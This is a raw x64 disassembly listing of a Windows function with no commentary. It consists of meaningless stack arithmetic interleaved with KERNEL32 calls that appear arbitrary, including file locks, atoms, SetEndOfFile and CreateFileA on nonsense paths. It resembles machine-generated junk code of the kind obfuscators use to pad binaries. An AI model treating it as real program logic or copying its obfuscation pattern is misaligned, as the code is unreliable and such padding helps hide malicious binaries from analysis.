mov qword [rsp + 0xa418], rax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x84]
or eax, ecx
mov byte [0x1401e6053], al
movsx eax, word [rsp + 0xe04]
movsx ecx, word [rsp + 0xc3c]
xor eax, ecx
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a]
shl eax, cl
mov rcx, qword [rsp + 0x98d0]
mov byte [rcx], al
lea rax, [rsp + 0xb94]
mov qword [rsp + 0xa420], rax
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
mov rcx, qword [0x1401e7450]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc58], ax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x9e48]
mov qword [rsp + 0xa428], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x9d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4398], eax
mov rax, qword [rsp + 0x9ad0]
mov rcx, qword [rsp + 0x9088]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9328]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa2a0]
mov qword [rsp + 0xa430], rax
mov rax, qword [rsp + 0x9208]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9240]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96d0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9f58]
movsx eax, word [rax]
mov rcx, qword [0x1401e7598]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7568]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x46a8], eax
mov r9d, 0x1843
xor r8d, r8d
lea rdx, [rsp + 0x9be8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4658], eax
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
mov word [rsp + 0xe14], ax
movzx eax, byte [rsp + 0x92]
movzx ecx, byte [rsp + 0x9d]
sub eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x9b80]
mov ecx, dword [rsp + 0x459c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9420]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9360]
mov rcx, qword [rsp + 0x9928]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x97f0]
mov qword [rcx], rax
lea rax, [rsp + 0x45d4]
mov qword [rsp + 0xa438], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x99c0]
mov rcx, qword [rsp + 0x9418]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x46ac], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa3b0], rax
lea rcx, [rsp + 0x25480]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0xd7c]
mov word [rsp + 0xe18], ax
mov rcx, qword [rsp + 0x9110]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xa440]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xb9c]
add eax, ecx
mov word [0x1401e609c], ax
movsx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9de8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa0e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94f8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c20]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4448], eax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0x9f08]
mov ecx, dword [rsp + 0x4404]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4600], eax
lea rax, [rsp + 0x90c0]
mov qword [rsp + 0xa448], rax
lea rdx, [rsp + 0xa450]
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x41c8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0x9b40]
mov eax, dword [rax]
mov ecx, dword [0x1401e6014]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9150]
mov dword [rcx], eax
lea rcx, [rsp + 0x8db0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9f68]
mov rcx, qword [rsp + 0x9ff0]
mov qword [rsp + 0xa458], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa458]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9358]
mov qword [rcx], rax
lea rax, [rsp + 0x83]
mov qword [rsp + 0xa460], rax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdf4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, word [rsp + 0xca8]
imul eax, eax, 0x3d6
mov rcx, qword [0x1401e75a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x9d08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x84], al
lea rax, [rsp + 0xd74]
mov qword [rsp + 0xa468], rax
mov rax, qword [0x1401e7600]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
sub eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x9e28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0f0], rax
mov eax, dword [rsp + 0x4348]
mov dword [rsp + 0x46b0], eax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x9308]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9318], rax
lea rax, [rsp + 0x446c]
mov qword [rsp + 0xa470], rax
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd50]
imul eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x94b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e601d], al
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xa478]
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4654], eax
mov rcx, qword [rsp + 0x9f20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x469c], eax
lea rax, [rsp + 0xb74]
mov qword [rsp + 0xa480], rax
movsx eax, word [rsp + 0xd98]
movsx ecx, word [0x1401e74e0]
add eax, ecx
mov word [rsp + 0xc90], ax
movzx eax, byte [rsp + 0x62]
movzx ecx, byte [rsp + 0x88]
sub eax, ecx
mov rcx, qword [rsp + 0x9868]
mov byte [rcx], al
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x9d70]
mov rcx, qword [rsp + 0x9e80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9348]
mov qword [rcx], rax
mov eax, dword [rsp + 0x43bc]
mov dword [rsp + 0x46b4], eax
mov eax, dword [rsp + 0x44bc]
mov ecx, dword [rsp + 0x44c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4474], eax
lea rdx, [rsp + 0x4438]
mov rcx, qword [rsp + 0x9768]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46b8], eax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c10]
mov qword [rsp + 0xa488], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa488]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9490], rax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov byte [0x1401e746e], al
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0xd4], al
movsx eax, word [rsp + 0xc64]
mov rcx, qword [0x1401e75e8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd8c], ax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0xa490], rax
movzx eax, word [rsp + 0xc5c]
cdq
mov ecx, 0x865
idiv ecx
mov rcx, qword [rsp + 0x9000]
mov word [rcx], ax
mov rax, qword [rsp + 0x90a0]
mov rcx, qword [rsp + 0x9068]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x424c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3a71
mov rcx, qword [rsp + 0x9f78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4684], eax
movzx ecx, word [rsp + 0xdc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe20], ax
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x45ac], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x454e
mov rcx, qword [rsp + 0x9f20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46ac], eax
lea rax, [rsp + 0x9d48]
mov qword [rsp + 0xa498], rax
mov rax, qword [rsp + 0x9188]
mov rcx, qword [rsp + 0x9b58]
mov qword [rsp + 0xa4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa2c8], rax
mov rax, qword [rsp + 0x9878]
mov eax, dword [rax]
mov dword [rsp + 0x46bc], eax
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0x9d20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e6033], al
movsx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x9ae0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x9f80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x93f8]
movzx eax, word [rax]
mov word [rsp + 0xe24], ax
mov rax, qword [rsp + 0x96b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9350]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc8c], ax
mov rax, qword [rsp + 0x92f0]
mov qword [rsp + 0xa4a8], rax
mov rax, qword [rsp + 0xa2a0]
mov rcx, qword [rsp + 0xa200]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ec8]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x46c0], eax
mov eax, dword [rsp + 0x4444]
mov dword [rsp + 0x46c4], eax
lea rcx, str.Lambasted_Incenses_Dreadfulness
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd30], ax
mov rax, qword [rsp + 0x9b80]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa2d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6056], al
movzx eax, word [rsp + 0xcc0]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb9c], ax
movzx ecx, word [rsp + 0xcfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
lea rax, [rsp + 0x55]
mov qword [rsp + 0xa4b0], rax
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa0b8]
movzx eax, word [rax]
mov word [rsp + 0xe28], ax
lea rcx, [rsp + 0xa4b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4590], eax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9850]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x9610]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov dword [rsp + 0x46c8], eax
mov rax, qword [rsp + 0x9180]
mov ecx, dword [0x1401e6014]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x46bc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:_blushinglySnaked_fullbodied_burp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa4c0], rax
lea rax, [rsp + 0x6d]
mov qword [0x1401e7648], rax
movzx eax, word [rsp + 0xca4]
mov word [rsp + 0xe2c], ax
mov rax, qword [rsp + 0xa038]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e603a]
sar eax, cl
mov rcx, qword [rsp + 0xa188]
mov byte [rcx], al
movsx eax, word [rsp + 0xe0c]
movsx ecx, word [rsp + 0xba8]
shl eax, cl
mov rcx, qword [rsp + 0x93a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0xd5], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9078], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2350
mov r9d, 0xac7
mov r8d, 0xb153b7f8
mov edx, 1
mov rcx, qword [rsp + 0x9aa8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0xa210]
mov ecx, dword [0x1401e741c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4464], eax
mov rax, qword [rsp + 0x9a20]
mov eax, dword [rax]
mov dword [rsp + 0x46cc], eax
mov rax, qword [rsp + 0x9ba0]
mov rcx, qword [rsp + 0x93c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x93f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa408]
mov rax, qword [rax]
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0x9df8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb0]
add eax, ecx
mov byte [0x1401e6013], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x441c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xd70]
movzx ecx, word [rsp + 0xc28]
add eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, byte [rsp + 0xb1]
mov rcx, qword [0x1401e74a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x95c0]
mov byte [rcx], al
lea rax, [rsp + 0x89]
mov qword [rsp + 0xa4d0], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov word [rcx], ax
mov rax, qword [rsp + 0xa050]
mov eax, dword [rax]
mov dword [rsp + 0x46d0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xa72
mov r9d, 0x66e
mov r8d, 0x7a774d81
mov edx, 2
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x4644]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x445c], eax
mov rax, qword [rsp + 0xa268]
mov rcx, qword [rsp + 0x9e00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa058], rax
mov rax, qword [0x1401e6020]
mov qword [rsp + 0xa4d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movsx eax, word [rsp + 0xe24]
movsx ecx, word [rsp + 0xbf0]
sub eax, ecx
mov word [0x1401e7580], ax
movzx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0xa4d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [0x1401e74c8]
movzx eax, word [rax]
mov word [rsp + 0xe30], ax
movzx eax, word [rsp + 0xdd8]
mov rcx, qword [rsp + 0x96b8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9e68]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa2], al
mov rcx, qword [rsp + 0x9d00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46d4], eax
mov rax, qword [rsp + 0x9778]
mov qword [rsp + 0xa4e0], rax
mov rax, qword [rsp + 0x9458]
mov rcx, qword [rsp + 0x91a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x445c], eax
mov rax, qword [rsp + 0xa0f0]
mov qword [rsp + 0xa4e8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x9248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9950]
mov qword [rsp + 0xa4f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4670], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rax, [rsp + 0xbb0]
mov qword [0x1401e7650], rax
mov rax, qword [rsp + 0x9af0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xcf], al
mov r9d, 0x14a3
xor r8d, r8d
lea rdx, [rsp + 0x9158]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4328], eax
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
mov word [rsp + 0xe34], ax
movzx eax, byte [rsp + 0x57]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbe], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov word [rsp + 0xe38], ax
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4440], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x9d10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9a38]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x448c]
mov qword [rsp + 0xa4f8], rax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x9d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x466c], eax
mov rax, qword [rsp + 0x9a08]
mov rcx, qword [rsp + 0x9c10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9da8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov word [rsp + 0xe3c], ax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x9f58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6040], ax
mov rax, qword [rsp + 0x9988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov byte [rcx], al
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0x9af0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x94]
and eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x9a58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xdb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd30], ax
mov eax, dword [rsp + 0x4634]
mov dword [rsp + 0x46d8], eax
mov eax, dword [rsp + 0x4588]
mov ecx, dword [rsp + 0x46b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4464], eax
lea rax, [rsp + 0x9fa0]
mov qword [rsp + 0xa500], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46dc], eax
movzx ecx, word [rsp + 0xcfc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb7c], ax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb4]
sar eax, cl
mov word [rsp + 0xba0], ax
mov rcx, qword [rsp + 0x9f78]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x41c8], eax
lea rax, [rsp + 0xcc]
mov qword [0x1401e7658], rax
movzx eax, byte [rsp + 0x9f]
mov rcx, qword [rsp + 0xa090]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa1], al
lea rax, [rsp + 0x61]
mov qword [rsp + 0xa508], rax
mov rax, qword [rsp + 0x9430]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd2c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9088]
mov eax, dword [rax]
mov dword [rsp + 0x46e0], eax
mov rax, qword [rsp + 0x9e58]
mov rcx, qword [rsp + 0x9a78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44dc], eax
mov rax, qword [rsp + 0x9e60]
mov rax, qword [rax]
mov qword [rsp + 0xa510], rax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x9e80]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x95e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ec0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov byte [rcx], al
movsx eax, word [rsp + 0xbf0]
movsx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov rcx, qword [0x1401e75e8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
lea rax, [0x1401e601e]
mov qword [rsp + 0xa518], rax
lea rdx, [rsp + 0x28298]
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x454c], eax
movzx eax, word [rsp + 0xcf0]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xc70], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
mov word [rsp + 0xe40], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov eax, dword [rsp + 0x43f8]
mov ecx, dword [rsp + 0x46d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c4], eax
mov rax, qword [rsp + 0x9360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f88]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95e0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xa190]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4440], eax
lea rax, [rsp + 0x9e50]
mov qword [rsp + 0xa520], rax
mov rax, qword [rsp + 0x92f8]
mov ecx, dword [rsp + 0x445c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9658]
mov dword [rcx], eax
lea rax, [rsp + 0xd98]
mov qword [rsp + 0xa528], rax
mov edx, 0x19de
mov rcx, qword [rsp + 0x9b48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46e4], eax
movzx eax, byte [rsp + 0xa6]
movzx ecx, byte [rsp + 0x6b]
add eax, ecx
mov byte [0x1401e6057], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
movzx eax, word [0x1401e602c]
mov rcx, qword [rsp + 0xa0e0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xcc0], ax
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x46a0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xd9
mov r9d, 0x3f7a
mov r8d, 0xeaffcbd0
mov edx, 1
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46e8], eax
lea rdx, [rsp + 0x4358]
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x41e0], eax
movsx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
lea rax, [rsp + 0xe34]
mov qword [rsp + 0xa530], rax
mov rax, qword [0x1401e7480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xaa]
sar eax, cl
mov byte [rsp + 0xbe], al
mov eax, dword [rsp + 0x43d4]
mov dword [rsp + 0x46ec], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:disparateQuaking
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0x9b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9190]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4484]
movzx ecx, al
mov eax, dword [rsp + 0x43f8]
shl eax, cl
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
lea rax, [rsp + 0x9670]
mov qword [rsp + 0xa540], rax
movsx eax, byte [rsp + 0x64]
movsx ecx, byte [rsp + 0x61]
or eax, ecx
mov byte [0x1401e741b], al
mov rax, qword [rsp + 0x9ef0]
movsx eax, word [rax]
